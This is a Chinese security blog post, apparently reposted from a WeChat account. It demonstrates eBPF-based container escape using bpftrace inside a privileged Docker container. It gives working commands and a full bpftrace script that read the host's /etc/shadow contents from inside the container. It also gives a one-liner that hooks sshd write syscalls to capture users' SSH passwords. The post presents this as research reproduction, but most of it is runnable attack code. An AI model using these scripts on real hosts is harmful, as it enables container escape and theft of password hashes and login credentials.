基于ebpf的容器逃逸(上)

admin 2022年8月2日12:33:25评论216 views字数 3075阅读10分15秒阅读模式

背景

Container escape in 2021[1]云原生安全攻防|使用eBPF逃逸容器技术分析与实践[2] 都提到了基于ebpf的容器逃逸。

本文简要记录自己对这两篇文章的学习、复现,并给出一个demo,希望对主机安全有兴趣的读者有点帮助。

快速验证"可以用ebpf在容器中读宿主机文件"

Container escape in 2021[3] 有一页PPT

基于ebpf的容器逃逸(上)

你也可以输入以下命令,来复现上面"在容器中观测到宿主机文件内容"的效果

[root@instance-h9w7mlyv ~]# docker run -it --cap-add sys_admin --cap-add sys_resource quay.io/iovisor/bpftrace:latest bash
root@6a6339858e9a:/# mount -t debugfs none /sys/kernel/debug
root@6a6339858e9a:/# export BPFTRACE_STRLEN=200       // https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md#91-bpftrace_strlen
root@6a6339858e9a:/# bpftrace -e 'kretfunc:vfs_read /comm=="cat"/ {printf("%s,%dn",str(uptr(args->buf),retval),retval);}'
Attaching 1 probe...
基于ebpf的容器逃逸(上)

bpftrace可以参考官方文档[4]

上面是根据命令名来过滤,查看特定命令读取的文件内容。你也可以根据文件名来过滤。

比如输入以下命令

[root@instance-h9w7mlyv tmp]# docker run -it -v /tmp:/tmp --cap-add sys_admin --cap-add sys_resource quay.io/iovisor/bpftrace:latest bash
root@b0e60d8c7219:/# mount -t debugfs none /sys/kernel/debug
root@b0e60d8c7219:/# export BPFTRACE_STRLEN=150
root@b0e60d8c7219:/# bpftrace /tmp/1.bt
Attaching 9 probes...
基于ebpf的容器逃逸(上)

1.bt 代码如下

BEGIN
{
 printf("Tracing file content... Hit Ctrl-C to end.n");
}

tracepoint:syscalls:sys_enter_open,
tracepoint:syscalls:sys_enter_openat
/ strncmp(str(args->filename), "/etc/shadow", 11) == 0 /      // 待观测的文件路径
{
 @filename[tid] = args->filename;
}

tracepoint:syscalls:sys_exit_open,
tracepoint:syscalls:sys_exit_openat
/@filename[tid]/
{
 $ret = args->ret;
 $fd = $ret > 0 ? $ret : -1;

  @fd_filenmae_map[tid, $fd] = @filename[tid];
}

tracepoint:syscalls:sys_enter_read
/@fd_filenmae_map[tid, args->fd]/
{
  @read_buf[tid] = args->buf;
}

tracepoint:syscalls:sys_exit_read
/@read_buf[tid]/
{
 printf("filename:%s, content:%sn", str(@filename[tid]), str(uptr(@read_buf[tid])))
}

tracepoint:syscalls:sys_enter_close
/@fd_filenmae_map[tid, args->fd]/
{
  delete(@filename[tid]);
  delete(@fd_filenmae_map[tid, args->fd]);
  delete(@read_buf[tid]);
}

END
{
 clear(@filename);
  clear(@fd_filenmae_map);
  clear(@read_buf);
}

验证"获取用户ssh密码"

sshd write系统调用中会有ssh密码信息,如下

基于ebpf的容器逃逸(上)

所以,你可以在容器中用 'tracepoint:syscalls:sys_enter_write' 来获取ssh密码。

bpftrace -e 'tracepoint:syscalls:sys_enter_write /comm=="sshd"/ {
  if (args->fd == 6){
    printf("%sn",str(args->buf+4));  // 前四个字节是0
  }
}'

基于ebpf的容器逃逸(上)

我测试的ssh是OpenSSH_8.0p1,可能你的ssh发行版和我不同,并不一定通过hook write系统调用来获取用户密码。

总结

基于ebpf做容器逃逸时,重点是需要知道hook哪个函数。

比如 内核态eBPF程序实现容器逃逸与隐藏账号rootkit[5] 文章中是hook哪个函数呢?

另一个重点是"ebpf怎么修改数据"。前面的两个例子都只用bpftrace观测数据,而没有修改args->buf中的数据。

云原生安全攻防|使用eBPF逃逸容器技术分析与实践[6]lkm和ebpf rootkit分析的简要记录 的例子中都涉及到"ebpf修改数据"。

bpftrace目前只有override()能修改部分kprobes的返回值,所以下一篇我会用libbpf演示"ebpf修改数据能造成什么效果"。

参考资料

[1]

Container escape in 2021: https://github.com/knownsec/KCon/blob/master/2021/Container%20escape%20in%202021.pdf

[2]

云原生安全攻防|使用eBPF逃逸容器技术分析与实践: https://security.tencent.com/index.php/blog/msg/206

[3]

Container escape in 2021: https://github.com/knownsec/KCon/blob/master/2021/Container%20escape%20in%202021.pdf

[4]

官方文档: https://github.com/iovisor/bpftrace

[5]

内核态eBPF程序实现容器逃逸与隐藏账号rootkit: https://www.cnxct.com/container-escape-in-linux-kernel-space-by-ebpf

[6]

云原生安全攻防|使用eBPF逃逸容器技术分析与实践: https://security.tencent.com/index.php/blog/msg/206


原文始发于微信公众号(leveryd):基于ebpf的容器逃逸(上)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月2日12:33:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于ebpf的容器逃逸(上)https://cn-sec.com/archives/1214834.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息